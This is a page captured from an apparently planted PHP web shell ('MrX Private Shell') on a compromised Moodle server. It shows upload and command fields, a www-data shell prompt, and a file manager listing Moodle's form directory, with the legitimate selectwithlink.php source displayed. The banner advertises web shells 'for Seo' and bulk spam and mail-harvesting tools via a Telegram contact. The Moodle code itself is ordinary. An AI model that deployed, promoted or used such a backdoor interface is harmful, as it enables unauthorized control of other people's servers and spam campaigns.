__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.


/**
 * select type form element
 *
 * Contains HTML class for a select type element with options containing link
 *
 * @package   core_form
 * @copyright 2008 Nicolas Connault <nicolasconnault@gmail.com>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

require_once('HTML/QuickForm/select.php');
require_once('templatable_form_element.php');

/**
 * select type form element
 *
 * HTML class for a select type element with options containing link
 *
 * @deprecated since 3.2
 * @package   core_form
 * @category  form
 * @copyright 2008 Nicolas Connault <nicolasconnault@gmail.com>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class MoodleQuickForm_selectwithlink extends HTML_QuickForm_select implements templatable {

    use templatable_form_element {
        export_for_template as export_for_template_base;
    }
    /** @var string html for help button, if empty then no help */
    var $_helpbutton='';

    /** @var bool if true label will be hidden */
    var $_hiddenLabel=false;

    /** @var string url to which select option will be posted */
    var $_link=null;

    /** @var string data which will be posted to link */
    var $_linklabel=null;

    /** @var string url return link */
    var $_linkreturn=null;

    /**
     * constructor
     *
     * @param string $elementName Select name attribute
     * @param mixed $elementLabel Label(s) for the select
     * @param array $options Data to be used to populate options
     * @param mixed $attributes Either a typical HTML attribute string or an associative array
     * @param bool $linkdata data to be posted
     */
    public function __construct($elementName=null, $elementLabel=null, $options=null, $attributes=null, $linkdata=null) {
        if (!empty($linkdata['link']) && !empty($linkdata['label'])) {
            $this->_link = $linkdata['link'];
            $this->_linklabel = $linkdata['label'];
        }

        if (!empty($linkdata['return'])) {
            $this->_linkreturn = $linkdata['return'];
        }

        parent::__construct($elementName, $elementLabel, $options, $attributes);

        $this->_type = 'selectwithlink';
    }

    /**
     * Old syntax of class constructor. Deprecated in PHP7.
     *
     * @deprecated since Moodle 3.1
     */
    public function MoodleQuickForm_selectwithlink($elementName=null, $elementLabel=null, $options=null, $attributes=null, $linkdata=null) {
        debugging('Use of class name as constructor is deprecated', DEBUG_DEVELOPER);
        self::__construct($elementName, $elementLabel, $options, $attributes, $linkdata);
    }

    /**
     * Sets label to be hidden
     *
     * @param bool $hiddenLabel sets if label should be hidden
     */
    function setHiddenLabel($hiddenLabel){
        $this->_hiddenLabel = $hiddenLabel;
    }

    /**
     * Returns the SELECT in HTML
     *
     * @return string
     */
    function toHtml(){
        $retval = '';
        if ($this->_hiddenLabel){
            $this->_generateId();
            $retval = '<label class="accesshide" for="'.$this->getAttribute('id').'" >'.
                        $this->getLabel().'</label>'.parent::toHtml();
        } else {
             $retval = parent::toHtml();
        }

        if (!empty($this->_link)) {
            if (!empty($this->_linkreturn) && is_array($this->_linkreturn)) {
                $appendchar = '?';
                if (strstr($this->_link, '?')) {
                    $appendchar = '&amp;';
                }

                foreach ($this->_linkreturn as $key => $val) {
                    $this->_link .= $appendchar."$key=$val";
                    $appendchar = '&amp;';
                }
            }

            $retval .= '<a style="margin-left: 5px" href="'.$this->_link.'">'.$this->_linklabel.'</a>';
        }

        return $retval;
    }

    /**
     * get html for help button
     *
     * @return string html for help button
     */
    function getHelpButton(){
        return $this->_helpbutton;
    }

    /**
     * Removes an OPTION from the SELECT
     *
     * @param string $value Value for the OPTION to remove
     */
    function removeOption($value)
    {
        $key=array_search($value, $this->_values);
        if ($key!==FALSE and $key!==null) {
            unset($this->_values[$key]);
        }
        foreach ($this->_options as $key=>$option){
            if ($option['attr']['value']==$value){
                unset($this->_options[$key]);
                return;
            }
        }
    }

    /**
     * Removes all OPTIONs from the SELECT
     */
    function removeOptions()
    {
        $this->_options = array();
    }

    /**
     * Slightly different container template when frozen. Don't want to use a label tag
     * with a for attribute in that case for the element label but instead use a div.
     * Templates are defined in renderer constructor.
     *
     * @return string
     */
    function getElementTemplateType(){
        if ($this->_flagFrozen){
            return 'static';
        } else {
            return 'default';
        }
    }

   /**
    * We check the options and return only the values that _could_ have been
    * selected. We also return a scalar value if select is not "multiple"
    *
    * @param array $submitValues submitted values
    * @param bool $assoc if true the retured value is associated array
    * @return mixed
    */
    function exportValue(&$submitValues, $assoc = false)
    {
        if (empty($this->_options)) {
            return $this->_prepareValue(null, $assoc);
        }

        $value = $this->_findValue($submitValues);
        if (is_null($value)) {
            $value = $this->getValue();
        }
        $value = (array)$value;

        $cleaned = array();
        foreach ($value as $v) {
            foreach ($this->_options as $option) {
                if ((string)$option['attr']['value'] === (string)$v) {
                    $cleaned[] = (string)$option['attr']['value'];
                    break;
                }
            }
        }

        if (empty($cleaned)) {
            return $this->_prepareValue(null, $assoc);
        }
        if ($this->getMultiple()) {
            return $this->_prepareValue($cleaned, $assoc);
        } else {
            return $this->_prepareValue($cleaned[0], $assoc);
        }
    }

    public function export_for_template(renderer_base $output) {
        $context = $this->export_for_template_base($output);

        $options = [];
        // Standard option attributes.
        $standardoptionattributes = ['text', 'value', 'selected', 'disabled'];
        foreach ($this->_options as $option) {
            if (is_array($this->_values) && in_array( (string) $option['attr']['value'], $this->_values)) {
                $this->_updateAttrArray($option['attr'], ['selected' => 'selected']);
            }
            $o = [
                'text' => $option['text'],
                'value' => $option['attr']['value'],
                'selected' => !empty($option['attr']['selected']),
                'disabled' => !empty($option['attr']['disabled']),
            ];
            // Set other attributes.
            $otheroptionattributes = [];
            foreach ($option['attr'] as $attr => $value) {
                if (!in_array($attr, $standardoptionattributes) && $attr != 'class' && !is_object($value)) {
                    $otheroptionattributes[] = $attr . '="' . s($value) . '"';
                }
            }
            $o['optionattributes'] = implode(' ', $otheroptionattributes);
            $options[] = $o;
        }
        $context['options'] = $options;
        if (!empty($this->_link)) {
            if (!empty($this->_linkreturn) && is_array($this->_linkreturn)) {
                $appendchar = '?';
                if (strstr($this->_link, '?')) {
                    $appendchar = '&amp;';
                }

                foreach ($this->_linkreturn as $key => $val) {
                    $this->_link .= $appendchar."$key=$val";
                    $appendchar = '&amp;';
                }
            }
        }
        $context['link'] = $this->_link;
        $context['linklabel'] = $this->_linklabel;

        return $context;
    }
}

Filemanager

Name Type Size Permission Actions
amd Folder 0755
classes Folder 0755
templates Folder 0755
tests Folder 0755
yui Folder 0755
UPGRADING.md File 817 B 0644
advcheckbox.php File 5.01 KB 0644
autocomplete.php File 9.63 KB 0644
button.php File 4.24 KB 0644
cancel.php File 3.59 KB 0644
checkbox.php File 5.19 KB 0644
choicedropdown.php File 6.57 KB 0644
cohort.php File 5.39 KB 0644
course.php File 6.58 KB 0644
dateselector.php File 12.77 KB 0644
datetimeselector.php File 14.8 KB 0644
defaultcustom.php File 11.83 KB 0644
dndupload.js File 43.39 KB 0644
duration.php File 12.05 KB 0644
editor.php File 17.14 KB 0644
filemanager.js File 58.81 KB 0644
filemanager.php File 15.55 KB 0644
filepicker.js File 2.35 KB 0644
filepicker.php File 9.84 KB 0644
filetypes.php File 9.02 KB 0644
float.php File 6.56 KB 0644
form.js File 31.07 KB 0644
grading.php File 6.02 KB 0644
group.php File 10.36 KB 0644
header.php File 2.36 KB 0644
hidden.php File 2.29 KB 0644
listing.php File 6.34 KB 0644
modgrade.php File 26.87 KB 0644
modvisible.php File 6.37 KB 0644
password.php File 3.57 KB 0644
passwordunmask.php File 3.53 KB 0644
questioncategory.php File 3.02 KB 0644
radio.php File 3.9 KB 0644
recaptcha.php File 3.93 KB 0644
searchableselector.php File 2.3 KB 0644
select.php File 7.88 KB 0644
selectgroups.php File 18.13 KB 0644
selectwithlink.php File 8.75 KB 0644
selectyesno.php File 2.99 KB 0644
static.php File 2.88 KB 0644
submit.php File 5.45 KB 0644
tags.php File 9.98 KB 0644
templatable_form_element.php File 3.66 KB 0644
text.php File 4.9 KB 0644
textarea.php File 5.09 KB 0644
upgrade.txt File 1.21 KB 0644
url.js File 744 B 0644
url.php File 7.01 KB 0644
warning.php File 3.38 KB 0644
Filemanager